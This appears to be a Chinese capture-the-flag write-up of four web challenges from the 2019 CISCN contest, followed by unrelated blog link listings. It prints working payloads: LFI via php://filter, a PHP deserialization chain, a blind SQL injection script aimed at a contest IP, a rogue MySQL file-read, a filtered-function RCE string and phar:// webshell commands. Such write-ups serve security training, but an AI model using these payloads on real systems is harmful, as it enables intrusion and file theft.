web1-JustSoso

php伪协议获取源码

?file=php://filter/read=convert.base64-encode/resource=index.php

index.php

 <html>
<?php
error_reporting(0);
$file = $_GET["file"];
$payload = $_GET["payload"];
if(!isset($file)){
echo 'Missing parameter'.'<br>';
}
if(preg_match("/flag/",$file)){
die('hack attacked!!!');
}
@include($file);
if(isset($payload))
{
$url = parse_url($_SERVER['REQUEST_URI']);
parse_str($url['query'],$query);
foreach($query as $value)
{
if (preg_match("/flag/",$value)) {
die('stop hacking!');
exit();
} }
$payload = unserialize($payload);
}
else{
echo "Missing parameters";
}
?>
<!--Please test index.php?file=xxx.php -->
<!--Please get the source of hint.php-->
</html>

hint.php

 <?php
class Handle{
private $handle;
public function __wakeup(){
foreach(get_object_vars($this) as $k => $v) {
$this->$k = null;
}
echo "Waking up\n";
}
public function __construct($handle) {
$this->handle = $handle;
}
public function __destruct(){
$this->handle->getFlag();
}
} class Flag{
public $file;
public $token;
public $token_flag; function __construct($file){
$this->file = $file;
$this->token_flag = $this->token = md5(rand(1,10000));
} public function getFlag(){
$this->token_flag = md5(rand(1,10000));
if($this->token === $this->token_flag)
{
if(isset($this->file)){
echo @highlight_file($this->file,true);
}
}
}
}
?>

分析代码可以看出是要包含hint.php然后构造反序列化,拿到flag

有以下几个难点

1. parse_str不能出现flag

2. handle的wake会把变量清空

3. token===token_flag

根据一些以前做过的题目,找到对应可以使用这些方法,

1. 使用域名之后使用///

2. 将我们payload中O:6:"Handle":1改为O:6:"Handle":2

3. 使用引用,使token为token_flag的引用

最终payload:另外类中包含类用%00补全空缺的字符

///index.php?file=hint.php&payload=O:6:"Handle":2:{s:14:"%00Handle%00handle";O:4:"Flag":3:{s:4:"file";s:8:"flag.php";s:5:"token";N;s:10:"token_flag";R:4;}}

web2-全宇宙最简单的SQL

简单测试就可以确定username存在sql注入,且使用一些payload尝试会输出登录失败和数据库操作失败,

可以利用这点构造payload

尝试输入大整数~0

简单测试后发现if,or,sleep,benchmark都被过滤了。

并且因为or被过滤无法从information_schema获取表名,字段等信息

好在简单猜出表名为user,一个字段为username,另一个大概率为password,没法确认

接下来需要进行同表查询

 #coding=utf-8
import requests
s=""
url="http://39.97.227.64:52105/"
for i in range(100):
for j in range(30, 128):
username="' and (select (ascii(substr((select t.2 from (select 1,2 from user union SELECT * from user )t LIMIT 1 OFFSET 1),{i},1))={j})+~0)#".format(i=i,j=j)
data = {"username":username,"password":i}
r=requests.post(url,data=data)
r=r.content
if '数据库操作失败!' in r:
s+=chr(j)
print s
print s #F1AG@1s-at_/fll1llag_h3r3

只获取用户名为admin,密码为F1AG@1s-at_/fll1llag_h3r3

进入后台发现是一个是一个mysql客户端,可以连接任意服务端,

这样的场景存在一个任意文件读的漏洞,前几天在ddctf中做过,所以直接将rogue_mysql_server.py部署好,需要读取的文件为/fll1llag_h3r3,输入ip地址读取即可

web3-love_math

这题很难很硬核,两个难点

1.只能使用白名单中的函数

2.输入长度小于80

这两点导致输入只能为数字,这点可以爆破,选出合计长度最短即可

 for($i = 9;$i<=36;$i+=1)
echo base_convert(exec,34,$i).' '.$i."<br>";

经过前前后后多次调试,终于弄出一个合适payload

($pi=base_convert)(22950,23,34)($pi(76478043844,9,34)(dechex(109270211257898)))

长度79,相当于exec('cat f*'),用system(cat *)长度会变为80。。

web4-RefSpace

首先首页可以文件包含读源码

?route=php://filter/read=convert.base64-encode/resource=index

index.php

 <?php
error_reporting(E_ALL);
define('LFI', 'LFI');
$lfi = $_GET['route'] ?? false;
if (!$lfi) {
header("location: ?route=app/index");
exit();
}
include "{$lfi}.php";
//Good job, you know how to use LFI, don't you?
//But You are still far from flag
//hint: ?router=app/flag

app/flag.php

 <?php
if (!defined('LFI')) {
echo "Include me!";
exit();
}
use interesting\FlagSDK;
$sdk = new FlagSDK();
$key = $_GET['key'] ?? false;
if (!$key) {
echo "Please provide access key<br \>";
echo '$_GET["key"];';
exit();
}
$flag = $sdk->verify($key);
if ($flag) {
echo $flag;
} else {
echo "Wrong Key";
exit();
}
//Do you want to know more about this SDK?
//we 'accidentally' save a backup.zip for more information

backup.zip

在robots.txt中,发现上传点

简单测试发现只能上传jpg和gif,因为前面存在文件包含操作,故可以通过上传压缩包,然后使用phar命令执行代码

使用?route=phar://upload/eval.gif.gif/eval&cmd=code

发现system执行不了命令

执行了phpinfo();发现禁用大量函数,但没有禁用scandir和file_get_contents所以可以读代码

phar://upload/eval.gif.gif/eval&cmd=print_r(scandir("."));

发现flag.txt,但是被加密了

phar://upload/eval.gif.gif/eval&cmd=print_r(scandir("app"));

phar://upload/eval.gif.gif/eval&cmd=print_r(file_get_contents("app/Up10aD.php"));

 <?php
if (!defined('LFI')) {
echo "Include me!";
exit();
} if (isset($_FILES["file"])) {
$filename = $_FILES["file"]["name"];
$fileext = ".gif";
switch ($_FILES["file"]["type"]) {
case 'image/gif':
$fileext = ".gif";
break;
case 'image/jpeg':
$fileext = ".jpg";
break;
default:
echo "Only gif/jpg allowed";
exit();
}
$dst = "upload/" . $_FILES["file"]["name"] . $fileext;
move_uploaded_file($_FILES["file"]["tmp_name"], $dst);
echo "文件保存位置: {$dst}<br />";
}
?>
<html> <head>
<meta charset="UTF-8">
</head> <body>
我们不能让选手轻而易举的搜索到上传接口。<br />
即便是运气好的人碰巧遇到了,我相信我们的过滤是万无一失的(才怪
<form method="post" enctype="multipart/form-data">
<label for="file">来选择你的文件吧:</label>
<input type="file" name="file" id="file" />
<br />
<input type="submit" name="submit" value="Submit" />
</form> </body> </html>

phar://upload/eval.gif.gif/eval&cmd=print_r(file_get_contents("app/index.php"));

 <?php
if (!defined('LFI')) {
echo "Include me!";
exit();
}
?>
<html> <head>
<meta charset="UTF-8">
</head> <body> Hi CTFer,<br />
这是一个非常非常简单的SDK服务,它的任务是给各位大佬<!--鼠-->提供flag<br />
Powered by Aoisystem<br />
<!-- error_reporting(E_ALL); --> </body> </html>

phar://upload/eval.gif.gif/eval&cmd=scandir("/");

发现/ctf目录可以读

phar://upload/eval.gif.gif/eval&cmd=print_r(scandir("/ctf"));

phar://upload/eval.gif.gif/eval&cmd=print_r(file_get_contents("/ctf/sdk.php"));

 <?php ?><?php //CN: 这是一个使用商业代码保护工具加密的PHP文件,你并不需要解密它。EN: Advanced encrypted PHP File, You do not need to decrypt it.<?php
return sg_load('A99ED...此处省略一万字...ATbQ8qZpbG56Q0FLEBD9HqiLuorcDsqfVG2iU//NLl9Hh8BwjQHcLfQOZ9nSeuSKrMFO6u06gAAAAA=');

phar://upload/eval.gif.gif/eval&cmd=print_r(file_get_contents("/ctf/ixed.lin"));

返回一个elf文件,看起来是加密使用的,前面提示不需要破解,没有继续尝试。。。

现在看了所有代码后,发现只剩下sdk开发文档中的内容了。。

意思是我们要输入一个key与getHash一致,我们就能获得flag。

经过不知道多少尝试,查了多少资料,最终得到以下一些结论

1.getHash是一个私有方法

上传这样一个文件

包含,phar://upload/eval.gif.gif/flag

复习类相关后,懵逼了。。。我要怎么去获取一个私有方法的返回值?

判断处还是===,排除弱类型。

然后想起面向对象的三大特性,继承封装与多态,然后查询php相关,发现php的私有方法继承后也还是私有,那么尝试多态

我们可以通过继承然后重写getHash方法,但是这样,依然无法获取flag的值,重写后,返回值也被覆盖了。。。

再三思索。发现一个问题,能不能重写sha1函数?

经过查找与尝试发现可以,只要使用命名空间namespace就可以

尝试上传,访问

返回

尝试上传

返回为

这里心态又崩了,这个getHash八成是一个真的sha1的hash,只有输入真hash才能通过

那么就是说必须读取这个私有方法,接下来就是百度百度百度

发现有个反射可以读,结合题目名字refspace,space指namespace,那么ref一定是ReflectionClass!把文章中代码改了改上传。

获取hash,a356bc8d9d3e69beea3c15d40995f395425e7813

然后将代码改为如下,获取flag

2019全国大学生信息安全竞赛ciscn-writeup(4web)的更多相关文章

  1. 2019全国大学生信息安全竞赛部分Web writeup

    JustSoso 0x01 审查元素发现了提示,伪协议拿源码 /index.php?file=php://filter/read=convert.base64-encode/resource=inde ...

  2. 2019全国大学生信息安全竞赛初赛pwn前四题writeup—栈部分

    ret to libc技巧:https://blog.csdn.net/zh_explorer/article/details/80306965 如何leak出libc地址:基地址+函数在libc中的 ...

  3. 全国大学生信息安全竞赛初赛writeup

    本文首发于“合天智汇”公众号 作者:Fortheone WEB Babyunserialize 扫目录发现了 www.zip 下载下来发现似曾相识 之前wmctf2020的webweb出了f3的反序列 ...

  4. 【逆向笔记】2017年全国大学生信息安全竞赛 Reverse 填数游戏

    2017年全国大学生信息安全竞赛 Reverse 填数游戏 起因是吾爱破解大手发的解题思路,觉得题挺有意思的,就找来学习学习 这是i春秋的下载链接 http://static2.ichunqiu.co ...

  5. 2019全国大学生信息安全与对抗技术竞赛全国线下总决赛 Writeup

    0x00 Begin 关于 ISCC 2019 北理工总决赛,这一次比赛体验感总体差不多,最后我们战队荣获全国一等奖第一名,在这里非常感谢我的团队以及我的队友. 0x01 Reverse 下载题目:e ...

  6. 第16届(2019)全国大学生信息安全与对抗技术竞赛全国线下总决赛 Writeup

    笔者<Qftm>原文发布<BitHack>:https://bithack.io/forum/469/answer/333 0x00 Begin 关于 ISCC 2019 北理 ...

  7. 2016全国大学生信息安全竞赛(Misc)

    你好,i春秋: 关注i春秋公众微信号,然后发送CTF,机器人会问星期几,按实回答,然后发送你好,机器人会回复你好,然后随便发几句,机器人会问是否愿意陪他聊天,回复不愿意,机器人就会发flag kill ...

  8. 2019全国大学生信息安全大赛两道web

    简单小结 菜鸟第一次打国赛,这次题目质量很高,学到了许多姿势. Web Justsoso 打开题目,源代码出存在提示: 使用LFI读取index.php与hint.php http://d4dc224 ...

  9. 2020第十三届全国大学生信息安全竞赛创新实践能力赛rceme writerup

    审计代码 传入参数a,进入parserIfLabel函数 发现参数a的模板,a的格式要匹配pattern,如{if:payload}{end if} 可知ifstr是a中匹配的第一组的值,即paylo ...

随机推荐

  1. Python 实现自动导入缺失的库

    原文:由浅入深:Python 中如何实现自动导入缺失的库? 作者:豌豆花下猫 在写 Python 项目的时候,我们可能经常会遇到导入模块失败的错误:ImportError: No module nam ...

  2. SIM7600CE http post

    SIM7600CE是一款SMT封装的模块,支持 LTE-TDD/LTE-FDD/HSPA+/TD-SCDMA/EVDO和GSM/GPRS/EDGE等频段,支持LTE CAT4(下行速度为150Mbps ...

  3. Centos 端口被占用,kill被占用的进程

    1.yum install lsof 2.输入netstat -tln,查看系统当前所有被占用端口 3.根据端口查询进程,输入lsof -i :9555,切记不要忘了添加冒号 4. 既然知道进程号了, ...

  4. 【MySQL】SQL语句基础

    一.操作数据库 1.1 创建数据库 1.2 查看数据库 1.3 修改数据库 1.4 删除数据库 1.5 选择数据库 二.操作表 2.1 创建表 2.2 查看表 2.3 修改表 2.4 删除表 三.操作 ...

  5. python selenium八大定位方法

    一.定位方法 注意:元素属性必须唯一存在 #id定位 find_element_by_id() #name定位 find_element_by_name() #class_name定位 find_el ...

  6. MVC模式:action、dao、model、service、util

    这就是一个典型的MVC: action:主要是Struts2,用来做跳转,比如jsp页面提交的表单就是进入到action里面,然后action再调用service里面的逻辑,最后返回到jsp响应请求. ...

  7. Java synchronized实现原理总结和偏量锁、轻量锁、重量锁、自旋锁

    synchronized实现同步的基础:Java中的每一个对象都可以作为锁.具体表现为以下3种形式. 对于普通同步方法,锁是当前实例对象(this). 对于静态同步方法,锁是当前类的Class对象. ...

  8. 大数据之路week07--day07 (Sqoop 从mysql增量导入到HDFS)

    我们之前导入的都是全量导入,一次性全部导入,但是实际开发并不是这样,例如web端进行用户注册,mysql就增加了一条数据,但是HDFS中的数据并没有进行更新,但是又再全部导入一次又完全没有必要. 所以 ...

  9. PHP高手干货分享:不能不看的50个细节!

    1.用单引号代替双引号来包含字符串,这样做会更快一些.因为PHP会在双引号包围的字符串中搜寻变量, 单引号则不会,注意:只有echo能这么做,它是一种可以把多个字符串当作参数的”函数”(译注:PHP手 ...

  10. Oracle Replace()函数与translate()函数 替换函数

    简要比较: replace 字符串级别的代替 如:SELECT REPLACE('accd','cd','ef') from dual; --> aefd translate 字符级别的代替 如 ...